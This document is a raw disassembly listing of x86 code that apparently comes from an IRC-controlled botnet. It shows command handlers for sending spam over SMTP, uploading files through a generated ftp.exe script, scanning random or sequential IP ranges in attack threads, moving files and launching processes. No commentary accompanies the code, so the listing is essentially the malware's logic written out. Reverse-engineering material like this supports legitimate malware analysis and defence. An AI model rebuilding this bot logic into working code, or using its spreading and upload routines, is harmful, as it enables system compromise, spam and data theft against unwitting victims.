		mov	[ebp+var_D6], ax
		lea	eax, [ebp+var_548]
		push	eax
		lea	eax, [ebp+var_D9C]
		push	eax
		lea	eax, [ebp+var_548]
		push	eax
		lea	eax, [ebp+var_B94]
		push	eax
		lea	eax, [ebp+var_D9C]
		push	eax
		lea	eax, [ebp+var_159C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_416821
		add	esp, 1Ch
		lea	eax, [ebp+var_D8]
		push	10h
		push	eax
		push	esi
		call	dword_491604	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_C98]
		push	edi
		push	eax
		push	esi
		call	dword_491674	; recv
		lea	eax, [ebp+var_C98]
		push	ebx
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_159C]
		push	eax
		push	esi
		call	dword_4916AC	; send
		push	ebx
		lea	eax, [ebp+var_C98]
		push	edi
		push	eax
		push	esi
		call	dword_491674	; recv
		push	esi
		call	dword_4916F4	; closesocket
		call	dword_4915BC	; WSACleanup
		lea	eax, [ebp+var_B94]
		push	eax
		push	offset unk_42ED84


loc_40A6AD:				; CODE XREF: sub_4087B3+2B28j
					; sub_4087B3+2C45j ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_416821
		add	esp, 0Ch


loc_40A6BC:				; CODE XREF: sub_4087B3+2B0Cj
					; sub_4087B3+2BF7j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40CC93
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		add	esp, 14h
		jmp	loc_40CC93
; ---------------------------------------------------------------------------


loc_40A6E6:				; CODE XREF: sub_4087B3+1D9Fj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	loc_408B77
		push	edi
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D023
		push	4
		push	esi
		call	sub_401005
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A74F
		push	esi
		push	offset dword_42ED40


loc_40A71E:				; CODE XREF: sub_4087B3+2416j
					; sub_4087B3+386Cj
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_416821
		add	esp, 0Ch


loc_40A72D:				; CODE XREF: sub_4087B3+23FAj
					; sub_4087B3+3308j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40CEDA
		push	ebx
		push	[ebp+var_4]


loc_40A73A:				; CODE XREF: sub_4087B3+2A3Bj
		lea	eax, [ebp+var_2E4]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		jmp	loc_40C73B
; ---------------------------------------------------------------------------


loc_40A74F:				; CODE XREF: sub_4087B3+1F63j
		call	ds:dword_495340	; GetTickCount
		push	eax
		call	sub_416B0E
		pop	ecx
		call	sub_416B18
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_416B18
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_416B18
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_C9C]
		push	edx
		push	eax
		lea	eax, [ebp+var_B98]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_416821
		lea	eax, [ebp+var_B98]
		push	offset aAb	; "ab"
		push	eax
		call	sub_417012
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	loc_408B77
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	edi
		call	sub_417AD3
		push	edi
		call	sub_416D94
		lea	eax, [ebp+var_B98]
		push	eax
		lea	eax, [ebp+var_3E4]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_416821
		add	esp, 2Ch
		lea	eax, [ebp+var_3E4]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4915D0
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_40A81A
		push	offset dword_42ECB0
		jmp	short loc_40A81F
; ---------------------------------------------------------------------------


loc_40A81A:				; CODE XREF: sub_4087B3+205Ej
		push	offset dword_42EC6C


loc_40A81F:				; CODE XREF: sub_4087B3+2065j
		call	sub_416821
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40A848
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		add	esp, 14h


loc_40A848:				; CODE XREF: sub_4087B3+2077j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_401014


loc_40A854:				; CODE XREF: sub_4087B3+20C6j
		lea	eax, [ebp+var_B98]
		push	4
		push	eax
		call	sub_401005
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408B77
		lea	eax, [ebp+var_B98]
		push	eax
		call	sub_417A9E
		jmp	short loc_40A854
; ---------------------------------------------------------------------------


loc_40A87B:				; CODE XREF: sub_4087B3+1D75j
					; sub_4087B3+1D8Aj
		push	8
		call	sub_4010E6
		push	[ebp+arg_18]
		mov	edi, eax
		call	sub_416CCF
		add	eax, edi
		pop	ecx
		cmp	eax, 0C8h
		pop	ecx
		jle	short loc_40A8C7
		push	edi


loc_40A898:				; DATA XREF: .data:0042AA94o
					; .data:0042AAD8o ...
		lea	eax, [ebp+var_2E4]
		push	offset dword_42EC14
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		jmp	loc_40BA75
; ---------------------------------------------------------------------------


loc_40A8C7:				; CODE XREF: sub_4087B3+20E2j
		push	[ebp+arg_10]
		call	sub_416CCF
		push	[ebp+arg_18]
		mov	[ebp+var_31C], eax
		call	sub_416CCF
		push	[ebp+arg_0]
		mov	[ebp+var_304], eax
		call	sub_416CCF
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_318], eax
		jnb	short loc_40A902
		push	5
		pop	eax
		mov	[ebp+var_318], eax


loc_40A902:				; CODE XREF: sub_4087B3+2144j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40A90F
		mov	[ebp+var_318], ecx


loc_40A90F:				; CODE XREF: sub_4087B3+2154j
		push	[ebp+arg_8]
		call	sub_416CCF
		mov	[ebp+var_314], eax
		mov	eax, 320h
		cmp	[ebp+var_314], eax
		pop	ecx
		jbe	short loc_40A931
		mov	[ebp+var_314], eax


loc_40A931:				; CODE XREF: sub_4087B3+2176j
		or	[ebp+var_300], 0FFFFFFFFh
		cmp	dword_42AF28, ebx
		mov	[ebp+arg_8], ebx
		jz	short loc_40A980
		mov	edi, offset dword_42AF28


loc_40A948:				; CODE XREF: sub_4087B3+21AFj
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A966
		inc	[ebp+arg_8]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_40A948
		jmp	short loc_40A980
; ---------------------------------------------------------------------------


loc_40A966:				; CODE XREF: sub_4087B3+21A5j
		mov	eax, [ebp+arg_8]
		mov	ecx, eax
		mov	[ebp+var_300], eax
		imul	ecx, 3Ch
		mov	ecx, dword_42AF28[ecx]
		mov	[ebp+var_31C], ecx


loc_40A980:				; CODE XREF: sub_4087B3+218Ej
					; sub_4087B3+21B1j
		cmp	[ebp+var_31C], ebx
		jz	loc_40C450
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_40A9CA
		cmp	byte ptr [edi],	23h
		jz	short loc_40A9CA
		push	edi
		lea	eax, [ebp+var_430]
		push	10h
		push	eax
		call	sub_4163D7
		push	78h
		push	edi
		call	sub_417B60
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_2F0], eax
		jmp	loc_40AA9E
; ---------------------------------------------------------------------------


loc_40A9CA:				; CODE XREF: sub_4087B3+21E5j
					; sub_4087B3+21EAj
		cmp	[ebp+var_9B3], bl
		jnz	short loc_40A9EC
		cmp	[ebp+var_9B2], bl
		jnz	short loc_40A9EC
		cmp	[ebp+var_9A2], bl
		jnz	short loc_40A9EC
		push	offset dword_42EBC8
		jmp	loc_40C455
; ---------------------------------------------------------------------------


loc_40A9EC:				; CODE XREF: sub_4087B3+221Dj
					; sub_4087B3+2225j ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	dword_491600	; getsockname
		mov	al, [ebp+var_9B3]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_D4], eax
		push	[ebp+var_D4]
		call	dword_4916E8	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_416A10
		add	esp, 0Ch
		cmp	[ebp+var_9A2], bl
		jz	short loc_40AA98
		xor	eax, eax
		cmp	[ebp+var_9B3], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_4169E0
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40AA8C


loc_40AA6A:				; CODE XREF: sub_4087B3+22D7j
		cmp	eax, ebx
		jz	short loc_40AA8C
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_430]
		push	30h
		push	eax
		call	sub_4169E0
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40AA6A


loc_40AA8C:				; CODE XREF: sub_4087B3+22B5j
					; sub_4087B3+22B9j
		mov	[ebp+var_2F0], 1
		jmp	short loc_40AA9E
; ---------------------------------------------------------------------------


loc_40AA98:				; CODE XREF: sub_4087B3+228Fj
		mov	[ebp+var_2F0], ebx


loc_40AA9E:				; CODE XREF: sub_4087B3+2212j
					; sub_4087B3+22E3j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_98]
		mov	[ebp+var_320], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2F4], eax
		mov	edi, 80h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_4163D7
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40AAF2


loc_40AADF:				; CODE XREF: sub_4087B3+2362j
		push	esi


loc_40AAE0:				; CODE XREF: sub_4087B3+234Cj
		lea	eax, [ebp+var_3A0]
		push	edi
		push	eax
		call	sub_4163D7
		add	esp, 0Ch
		jmp	short loc_40AB1D
; ---------------------------------------------------------------------------


loc_40AAF2:				; CODE XREF: sub_4087B3+232Aj
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_40AB01
		cmp	byte ptr [eax],	23h
		jnz	short loc_40AB01
		push	eax
		jmp	short loc_40AAE0
; ---------------------------------------------------------------------------


loc_40AB01:				; CODE XREF: sub_4087B3+2344j
					; sub_4087B3+2349j
		mov	esi, offset aAwk1 ; "##awk1"
		push	offset byte_4370BC
		push	esi
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AADF
		mov	[ebp+var_3A0], bl


loc_40AB1D:				; CODE XREF: sub_4087B3+233Dj
		cmp	[ebp+var_2F0], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40AB2F
		mov	eax, offset aSequential	; "Sequential"


loc_40AB2F:				; CODE XREF: sub_4087B3+2375j
		push	[ebp+var_304]
		lea	ecx, [ebp+var_430]
		push	[ebp+var_314]
		push	[ebp+var_318]
		push	[ebp+var_31C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset dword_42EB28
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	8
		push	eax
		call	sub_40105F
		add	esp, 2Ch
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_430]
		push	ebx
		push	eax
		push	offset loc_401366
		push	ebx
		push	ebx
		call	ds:dword_49532C	; CreateThread
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40ABBD


loc_40ABA7:				; CODE XREF: sub_4087B3+2408j
		cmp	[ebp+var_2EC], ebx
		jnz	loc_40A72D
		push	32h
		call	ds:dword_495324	; Sleep
		jmp	short loc_40ABA7
; ---------------------------------------------------------------------------


loc_40ABBD:				; CODE XREF: sub_4087B3+23F2j
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42EADC
		jmp	loc_40A71E
; ---------------------------------------------------------------------------


loc_40ABCE:				; CODE XREF: sub_4087B3+1D39j
					; sub_4087B3+1D4Ej
		push	[ebp+arg_10]
		call	sub_416CCF
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E938[eax], bl
		jz	loc_40D023
		cmp	[ebp+var_C], ebx
		jz	loc_40D023
		push	[ebp+arg_18]
		call	sub_4158E0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_4158E0
		push	edi
		add	esi, eax
		call	sub_4158E0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417760
		mov	esi, eax
		lea	eax, [ebp+var_2E4]
		push	esi
		push	offset dword_42EACC
		push	eax
		call	sub_416821
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_40D023
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_416CCF
		test	eax, eax
		pop	ecx
		jle	loc_40D023
		push	edi
		call	sub_416CCF
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40D023
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_416CCF
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_4010D2
		push	edi
		call	sub_416CCF
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E720[eax], 73h
		jnz	loc_40D023
		push	esi
		push	edi
		call	sub_416CCF
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E938
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS	; "[%s]	* %s %s"


loc_40ACBB:				; CODE XREF: sub_4087B3+2607j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		jmp	loc_40C8C7
; ---------------------------------------------------------------------------


loc_40ACE5:				; CODE XREF: sub_4087B3+1D0Fj
					; sub_4087B3+1D24j
		push	[ebp+arg_10]
		call	sub_416CCF
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E938[eax], bl
		jz	loc_40D023
		cmp	[ebp+var_C], ebx
		jz	loc_40D023
		push	[ebp+arg_18]
		call	sub_4158E0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_4158E0
		push	edi
		add	esi, eax
		call	sub_4158E0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417760
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_40D023
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_416CCF
		test	eax, eax
		pop	ecx
		jle	loc_40D023
		push	edi
		call	sub_416CCF
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40D023
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_416CCF
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_4010D2
		push	edi
		call	sub_416CCF
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E720[eax], 73h
		jnz	loc_40D023
		push	esi
		push	edi
		call	sub_416CCF
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E938
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_40ACBB
; ---------------------------------------------------------------------------


loc_40ADBF:				; CODE XREF: sub_4087B3+1CE5j
					; sub_4087B3+1CFAj
		push	[ebp+arg_10]
		call	dword_49169C	; inet_addr
		push	[ebp+arg_18]
		mov	[ebp+var_460], eax
		call	sub_416CCF
		push	[ebp+arg_0]
		mov	[ebp+var_46C], eax
		call	sub_416CCF
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_98]
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_4EC]
		mov	[ebp+var_4F0], esi
		push	eax
		call	sub_416A10
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_458], edi
		push	[ebp+var_468]
		mov	[ebp+var_454], eax
		push	[ebp+var_46C]
		push	[ebp+var_460]
		call	dword_4916E8	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset dword_42EA5C
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	8
		push	eax
		call	sub_40105F
		add	esp, 20h
		mov	[ebp+var_464], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_4010C8
		push	ebx
		push	ebx
		call	ds:dword_49532C	; CreateThread
		mov	ecx, [ebp+var_464]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40AEA3


loc_40AE8D:				; CODE XREF: sub_4087B3+26EEj
		cmp	[ebp+var_450], ebx
		jnz	loc_40C722
		push	32h
		call	ds:dword_495324	; Sleep
		jmp	short loc_40AE8D
; ---------------------------------------------------------------------------


loc_40AEA3:				; CODE XREF: sub_4087B3+26D8j
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42EADC
		jmp	loc_40C713
; ---------------------------------------------------------------------------


loc_40AEB4:				; CODE XREF: sub_4087B3+1CBBj
					; sub_4087B3+1CD0j
		push	[ebp+arg_10]
		call	sub_416CCF
		push	7Fh
		mov	[ebp+var_300], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416A10
		push	[ebp+arg_0]
		call	sub_416CCF
		push	[ebp+var_98]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_384]
		push	80h
		push	eax
		mov	[ebp+var_40C], esi
		call	sub_4163D7
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		push	[ebp+var_304]
		lea	eax, [ebp+var_404]
		mov	[ebp+var_2F4], edi
		push	eax
		push	[ebp+var_300]
		push	esi
		call	sub_401299
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset dword_42EA08
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	10h
		push	eax
		call	sub_40105F
		add	esp, 24h
		mov	[ebp+var_2FC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_40C]
		push	ebx
		push	eax
		push	offset sub_4011C7
		push	ebx
		push	ebx
		call	ds:dword_49532C	; CreateThread
		mov	ecx, [ebp+var_2FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40AF9F


loc_40AF89:				; CODE XREF: sub_4087B3+27EAj
		cmp	[ebp+var_2EC], ebx
		jnz	loc_40C722
		push	32h
		call	ds:dword_495324	; Sleep
		jmp	short loc_40AF89
; ---------------------------------------------------------------------------


loc_40AF9F:				; CODE XREF: sub_4087B3+27D4j
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42E9AC
		jmp	loc_40C713
; ---------------------------------------------------------------------------


loc_40AFB0:				; CODE XREF: sub_4087B3+1C91j
					; sub_4087B3+1CA6j
		mov	edi, 0FFh
		lea	eax, [ebp+var_788]
		push	edi
		push	[ebp+arg_10]
		push	eax
		call	sub_416A10
		push	edi
		lea	eax, [ebp+var_688]
		push	[ebp+arg_18]
		push	eax
		call	sub_416A10
		push	[ebp+arg_0]
		mov	[ebp+var_584], ebx
		call	sub_416CCF
		mov	[ebp+var_580], eax
		mov	eax, [ebp+esi+var_90]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_40B00B
		push	10h
		push	ebx
		push	eax
		call	sub_4174DB
		add	esp, 0Ch
		mov	[ebp+var_578], eax
		jmp	short loc_40B011
; ---------------------------------------------------------------------------


loc_40B00B:				; CODE XREF: sub_4087B3+2842j
		mov	[ebp+var_578], ebx


loc_40B011:				; CODE XREF: sub_4087B3+2856j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40B02B
		push	esi
		call	sub_416CCF
		pop	ecx
		mov	[ebp+var_57C], eax
		jmp	short loc_40B031
; ---------------------------------------------------------------------------


loc_40B02B:				; CODE XREF: sub_4087B3+2867j
		mov	[ebp+var_57C], ebx


loc_40B031:				; CODE XREF: sub_4087B3+2876j
		movzx	eax, [ebp+var_9AF]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_98]
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_808]
		mov	[ebp+var_80C], esi
		push	eax
		call	sub_416A10
		push	[ebp+arg_18]
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_570], eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2E4]
		mov	[ebp+var_56C], edi
		push	offset dword_42E96C
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp+var_2E4]
		push	15h
		push	eax
		call	sub_40105F
		add	esp, 28h
		mov	[ebp+var_588], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_80C]
		push	ebx
		push	eax
		push	offset sub_40104B
		push	ebx
		push	ebx
		call	ds:dword_49532C	; CreateThread
		mov	ecx, [ebp+var_588]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40B0E1


loc_40B0CB:				; CODE XREF: sub_4087B3+292Cj
		cmp	[ebp+var_568], ebx
		jnz	loc_40C722
		push	32h
		call	ds:dword_495324	; Sleep
		jmp	short loc_40B0CB
; ---------------------------------------------------------------------------


loc_40B0E1:				; CODE XREF: sub_4087B3+2916j
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42E914
		jmp	loc_40C713
; ---------------------------------------------------------------------------


loc_40B0F2:				; CODE XREF: sub_4087B3+1C67j
					; sub_4087B3+1C7Cj
		push	7Fh
		lea	eax, [ebp+var_774]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_416A10
		push	esi
		lea	eax, [ebp+var_6F4]
		push	[ebp+arg_18]
		push	eax
		call	sub_416A10
		push	esi
		lea	eax, [ebp+var_674]
		push	[ebp+arg_0]
		push	eax
		call	sub_416A10
		push	esi
		lea	eax, [ebp+var_5F4]
		push	[ebp+var_98]
		push	eax
		call	sub_416A10
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_778], eax
		lea	eax, [ebp+var_2E4]
		mov	[ebp+var_570], esi
		push	[ebp+arg_10]
		mov	[ebp+var_56C], edi
		push	offset dword_42E8D0
		push	eax
		call	sub_416821
		add	esp, 44h
		lea	eax, [ebp+var_2E4]
		push	ebx
		push	0Bh
		push	eax
		call	sub_40105F
		add	esp, 0Ch
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_778]
		push	ebx
		push	eax
		push	offset sub_4012E9
		push	ebx
		push	ebx
		call	ds:dword_49532C	; CreateThread
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40B1C9


loc_40B1B7:				; CODE XREF: sub_4087B3+2A14j
		cmp	[ebp+var_568], ebx
		jnz	short loc_40B1E4
		push	32h
		call	ds:dword_495324	; Sleep
		jmp	short loc_40B1B7
; ---------------------------------------------------------------------------


loc_40B1C9:				; CODE XREF: sub_4087B3+2A02j
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset dword_42E880
		push	eax
		call	sub_416821
		add	esp, 0Ch


loc_40B1E4:				; CODE XREF: sub_4087B3+2A0Aj
		cmp	edi, ebx
		jnz	loc_40CEDA
		push	ebx
		push	esi
		jmp	loc_40A73A
; ---------------------------------------------------------------------------


loc_40B1F3:				; CODE XREF: sub_4087B3+1C3Dj
					; sub_4087B3+1C52j
		push	7Fh
		lea	eax, [ebp+var_444]
		push	[ebp+arg_10]
		push	eax
		call	sub_416A10
		push	[ebp+arg_18]
		call	sub_416CCF
		push	3Fh
		mov	[ebp+var_2F4], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3C4]
		push	eax
		call	sub_416A10
		mov	esi, [ebp+esi+var_90]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_40B243
		push	3Fh
		lea	eax, [ebp+var_384]
		push	esi
		push	eax
		call	sub_416A10
		add	esp, 0Ch


loc_40B243:				; CODE XREF: sub_4087B3+2A7Cj
		lea	eax, [ebp+var_3C4]
		mov	[ebp+var_2F0], 1
		push	eax
		lea	eax, [ebp+var_444]
		push	[ebp+var_2F4]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_42E83C
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	17h
		push	eax
		call	sub_40105F
		add	esp, 20h
		mov	[ebp+var_2EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_448]
		push	ebx
		push	eax
		push	offset sub_4010FF
		push	ebx
		push	ebx
		call	ds:dword_49532C	; CreateThread
		mov	ecx, [ebp+var_2EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40B2CF


loc_40B2B9:				; CODE XREF: sub_4087B3+2B1Aj
		cmp	[ebp+var_2E8], ebx
		jnz	loc_40A6BC
		push	32h
		call	ds:dword_495324	; Sleep
		jmp	short loc_40B2B9
; ---------------------------------------------------------------------------


loc_40B2CF:				; CODE XREF: sub_4087B3+2B04j
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E7EC
		jmp	loc_40A6AD
; ---------------------------------------------------------------------------


loc_40B2E0:				; CODE XREF: sub_4087B3+1C01j
					; sub_4087B3+1C16j
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	ds:dword_4953BC	; MoveFileA
		test	eax, eax
		jz	short loc_40B311
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2E4]
		push	[ebp+arg_10]
		push	offset dword_42E7B4
		push	200h
		push	eax
		call	sub_4163D7
		add	esp, 14h
		jmp	short loc_40B330
; ---------------------------------------------------------------------------


loc_40B311:				; CODE XREF: sub_4087B3+2B3Bj
		push	offset dword_42E798
		call	sub_4010F5
		push	eax
		lea	eax, [ebp+var_2E4]
		push	200h
		push	eax
		call	sub_4163D7
		add	esp, 10h


loc_40B330:				; CODE XREF: sub_4087B3+164Fj
					; sub_4087B3+1677j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_40B351
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		add	esp, 14h


loc_40B351:				; CODE XREF: sub_4087B3+F6Fj
					; sub_4087B3+2B80j ...
		push	1
		pop	esi


loc_40B354:				; CODE XREF: sub_4087B3+2DFFj
					; sub_4087B3+3618j ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_401014
		pop	ecx
		mov	eax, esi
		jmp	loc_408B7A
; ---------------------------------------------------------------------------


loc_40B368:				; CODE XREF: sub_4087B3+1BD7j
					; sub_4087B3+1BECj
		push	44h
		lea	eax, [ebp+var_48C]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_415CA0
		push	1
		mov	[ebp+var_48C], esi
		pop	edi
		mov	word ptr [ebp+var_45C],	bx
		push	[ebp+arg_10]
		mov	[ebp+var_460], edi
		call	sub_416CCF
		add	esp, 10h
		cmp	eax, edi
		jnz	short loc_40B3A7
		mov	word ptr [ebp+var_45C],	5


loc_40B3A7:				; CODE XREF: sub_4087B3+2BE9j
		cmp	[ebp+var_C], ebx
		jz	loc_40A6BC
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417760
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40A6BC
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_48C]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	edi
		push	ebx
		push	ebx
		push	esi
		push	ebx
		call	ds:dword_495354	; CreateProcessA
		test	eax, eax
		jnz	short loc_40B3F2
